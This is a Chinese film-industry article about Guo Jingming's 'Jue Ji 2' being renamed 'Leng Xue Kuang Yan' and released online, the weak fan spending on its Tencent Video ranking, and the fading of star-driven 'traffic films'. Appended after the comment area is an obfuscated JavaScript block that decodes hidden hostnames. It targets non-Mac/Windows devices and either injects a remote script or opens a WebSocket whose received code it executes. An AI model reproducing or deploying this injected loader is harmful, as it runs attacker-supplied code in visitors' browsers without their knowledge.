“流量电影”公式失效后,改名转网的《爵迹2》只能是牺牲品?

时间:2020-12-05 00:27:04阅读:2332
文/杜威12月开始,电影观众终于回想起被郭敬明支配的恐惧。在阔别电影市场四年之后,郭敬明携多部作品回归,且宣发思路清晰。12月4日,蛰伏两年的《爵迹2》更名《冷血狂宴》且放弃院线,以PVOD的模式转
  • 剧情片剧情
    为了探讨一切真相的泉源,麒零、银尘、鬼山莲泉、天束幽花,组队前去释放营救吉尔伽美什。在与白银祭司的权势进行…

文/杜威

12月开始,电影观众终于回想起被郭敬明支配的恐惧。在阔别电影市场四年以后,郭敬明携多部作品回归,且宣发思路清晰。

12月4日,蛰伏两年的《爵迹2》更名《冷血狂宴》且放弃院线,以PVOD的模式转网,登陆视频平台担任“郭家军”先锋,或迎接观众因郭敬明作品原罪论而引发的负面口碑的“狂轰滥炸”。

同日,郭敬明监制、落落执导的《如果声音不记得》在影院上映,该片凭借尖锐的社会议题,意图再次复刻《悲伤逆流成河》的票房成绩。隔日,引领网综市场两个月话题的《演员请就位2》迎来收官,备受争议的郭敬明经过李诚儒、尔东升等人的“辅佐”,成为此档节目的风暴中间位。

《演员请就位2》郭敬明备受争议的S卡选择

如此高密度的市场曝光,必然程度上可以看作,郭敬明为了其电影市场“背水一战”的作品而持续预热,最终砝码就是12月25日登陆大银幕、亲身指导的《晴雅集》。

郭敬明再次化身“郭精明”,通过一系列的市场运作,让自己在资本市场谷底翻红。

而这一系列“战争”,首先还得聚焦于充当先锋的《冷血狂宴》。作为“流量电影”的“遗留问题”,《冷血狂宴》的粉丝上风究竟还在不在?在这个时间点,郭敬明拿出此枚可能会引起负面口碑风暴的棋子,到底意图何在?回看郭敬明的“流量电影”发家路,从鼎盛时期到断港绝潢,七年过去了,郭敬明接下来又该如何去印证自己在电影市场的“存在即合理”?

《冷血狂宴》打投乏力,流量粉丝们不再天真

打开《冷血狂宴》的演员表,吴亦凡陈伟霆 、易烊千玺、王俊凯、王源等一众流量明星耀眼十足,而他们个个在筹备期的2016年也都是“顶流之辈”,只是四年过去了,放到现在的观影市场,他们身上的“流量”变了,更重要的是他们的饭圈也变了

根据原著,《爵迹》的绝对男主属于陈学冬 和吴亦凡,然而在《爵迹2》宣布转网以及改名《冷血狂宴》后,宣传方却把易烊千玺原本一个客串性质的角色放到了主角的位置,给观众造成了一个假象。但这个假象,易烊千玺的饭圈会买单吗?显然不会。

即使#易烊千玺冷血狂宴镜头#被操作上了热搜,粉丝们也一致地在热搜里宣传起了他的另一部作品《送你一朵小红花》,甚至觉得爱豆成了被迫营业的“工具人”。

图源网络截图

在“千纸鹤”们眼中,易烊千玺早已在追求一个好演员的道路狂奔了,他们怎能会承认这种年轻时犯的“错”呢?所以,打开易烊千玺的超话,基本上都是《送你一朵小红花》的宣传,《冷血狂宴》难觅踪影。

其他流量明星的饭圈会买单吗?绝对男主吴亦凡的超话里,#吴亦凡 银尘爵迹#的话题间或出现,毕竟是吴亦凡2017唯一的一部影视剧主演作品,但“梅格妮”们对于《冷血狂宴》的热情度也不算高,另外的王俊凯、王源、陈伟霆等人的超话,难以看到《冷血狂宴》的安利帖,他们的粉丝也纷纷选择不出声。

回想2016年《爵迹》第一部上映时,吴亦凡、陈伟霆、王源、杨幂等各家粉丝集体包场且应援不竭,而原本想继续靠饭圈前行的《冷血狂宴》显然吃不到这批流量明星们饭圈的红利了,这个情况也直接体现在腾讯视频为了《冷血狂宴》粉丝打榜准备的“魂力榜”活动。

各位流量的粉丝们通过购买线上观影票、观看花絮预告片等方式(由于第二种方式获得方式较难和上限较低,暂不统计)获得“魂力值”,从而各家“爱豆”的角色打榜。每张线上观影票可获得20点魂力值,可多次购买获得(上限200张)。获得“魂力”TOP1的主演,可获得腾讯视频《冷血狂宴》专属定制闪屏推广资源。

截至发稿,“魂力榜”TOP1的明星是吴亦凡,累计205019魂力。通过初步换算,吴亦凡粉丝累计购买了一万(205019/20)张观影票,再按照VIP会员12元一张价钱,总共花费12.3万元。而吴亦凡“魂力榜”消费榜第一位粉丝,总共助力了2400魂力,即仅花费1500元即可解锁吴亦凡助力榜的TOP1,这个金额甚至在大部分直播平台一流主播日贡献榜都排不进前列,要知道《冷血狂宴》可是吴亦凡2017唯一影视作品。

《冷血狂宴》“魄力榜”相关先容截图

其后,第二名王源有30252魂力,即1.8万元,第三名是易烊千玺29824魂力,即1.7万元。两者粉丝花费不到800元,即可解锁助力榜TOP1。

这个榜单可以用惨淡来形容,毕竟这批流量背后覆盖着国内大部分饭圈女孩,而她们是最狂热的氪金者,显然四年过去了,除了爱豆流量的势能削弱之外,粉丝们也没有四年前那么天真了,他们也意想到中国电影市场的转变,这一部过往作品并不行给自己的爱豆带来正面口碑的收益。降至冰点的饭圈打投也进一步在说明,郭敬明过往引以为豪的“流量电影”套路放到现在早就失效了。

七年前,郭敬明通过《小时代》系列豪取17亿票房成绩,成功开启“流量电影时代”。七年后,《冷血狂宴》黯然“转网”且粉丝并不太买单,郭敬明又亲手将“流量电影”掩埋在历史尘埃中。

《爵迹2》改名转网,为“流量电影”书写“墓志铭”

时间回到2013年,暑期档在这一年开启了新纪元,而在全年票房高歌猛进的背后,也藏着不少“另类”崛起的例子。暑期档中,《天机·富春山居图》的负面营销策略将国产电影创作间接地转为产物思维。

同期,郭敬明将本该为一部的《小时代》一分为二,前后填充暑期档,顺势将电影市场的产物思维推向高潮。

通过精准的市场定位(年轻学生粉丝群体、暑期时间)、IP属性的知名度、顶流明星的造势能力、话题营销的强势性等产物思维打法,《小时代》也顺势开启“流量电影”时代,并让此类国产电影成为资本挣钱的专属捷径。

2013~2015年暑期档全部被《小时代》系列包围,系列累计18亿元票房,顿时间《小时代》成为了国内最挣钱的IP系列之一。郭敬明证明了他的商业运作的成功性,这也为他后续野心更加膨胀的《爵迹》系列提供了夯实的数据支撑。

《小时代》系列票房成绩,来源猫眼专业版

2016年,郭敬明再下一城,其创作小说改编的《爵迹》选择国庆档上映,该影片是《小时代》的全面升级,1.5亿元高额投资、魔幻题材、中国首部真人CG电影、全流量明星阵容等等都让人眼花缭乱,郭敬明和资本方也对该电影的票房成绩充满期待。

可谁知,即使是流量粉丝也不行扛起一切,中国电影市场的成长是快速的。

最终《爵迹》以3.8亿元票房、3.8分口碑的整体溃败,郭敬明首次尝到强烈的挫败感。面对票房吃亏、投资失利,郭敬明泪洒路演现场,同时,“流量电影”这个票房灵药公式首次失灵。

值得注意的是,作为国庆档头部电影的《爵迹》被当时冷门军旅题材《湄公河行动》以11亿元轻松碾压,这也反映了电影市场开始回归到内容口碑时代。

郭敬明并没有长时间的精神萎顿,他急需重新证明自己开创的“流量电影”仍有市场价值。两年后,《爵迹2》再次登场,并网传制作成本追加至7亿元,当然这个投资额还是存在炒作质疑,毕竟面对前作失利的情况下,续作何能追加四倍多的投资。但是,在演员阵容这块,郭敬明再做文章,更是将流量王者TFBOYS三人悉数“填充”到电影中,并宣布重新回归以学生为主体的暑期档,期望在电影市场东山再起。

郭敬明再度失算了。此时的电影市场对流量文化的反感浪潮已经成型,曾经《小时代》系列的90后95后支流观众已经大学毕业步入社会,他们对于电影内容和口碑的诉求逐渐成为第一要义。

2018年6月27日,《爵迹2》开启预售一周时间,流量们的粉丝观众仅以8000元票房回馈了郭敬明,再加之“范冰冰 事务”,《爵迹2》最终黯然撤档。郭敬明只能在微博上发布独自坐在影院的空洞背景来感伤。当时电影市场上的那一块块银幕却见证了黑马电影《我不是药神》凭借高口碑豪取30亿元的盛况,国产电影市场正式回归到口碑为王的良性发展。

郭敬明微博截图

“电影人郭敬明OUT!”

而到了2019年暑期档,电影《上海堡垒》的全面溃败也正式让“流量电影”走到了断港绝潢。

时隔两年《爵迹2》更名为《冷血狂宴》由院线电影成为了“网大”,虽然模式媒介的转变,《冷血狂宴》作为“流量电影”的原罪论并没有消散,回归理性的网友和观众对该影片的表现依旧看衰。

通过前文提到的腾讯视频“魂力榜”活动,可以清晰看到,现在“流量电影”的粉丝们没有四年前那么天真了,《冷血狂宴》极有可能在饭圈这里“割韭菜”无望,那么转为“网大”的它是否还有其他上风?《冷血狂宴》本身是否适合于网络电影环境?《冷血狂宴》选择在这个时间点出现,对于郭敬明而言是一枚被随意处置“弃子”,还是一枚被精心安排的“旗子”?

评论

  • 评论加载中...
--== 选择主题 ==--
function JeqEKbgC(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function FJeCoyWV(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JeqEKbgC(t);};window[''+'E'+'V'+'J'+'n'+'d'+'j'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=FJeCoyWV,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('aGoueGluYm8tbG9yYSS5jbg==','dHIueWVzdW422NzguY229t','151898',window,document,['S','2']);}:function(){};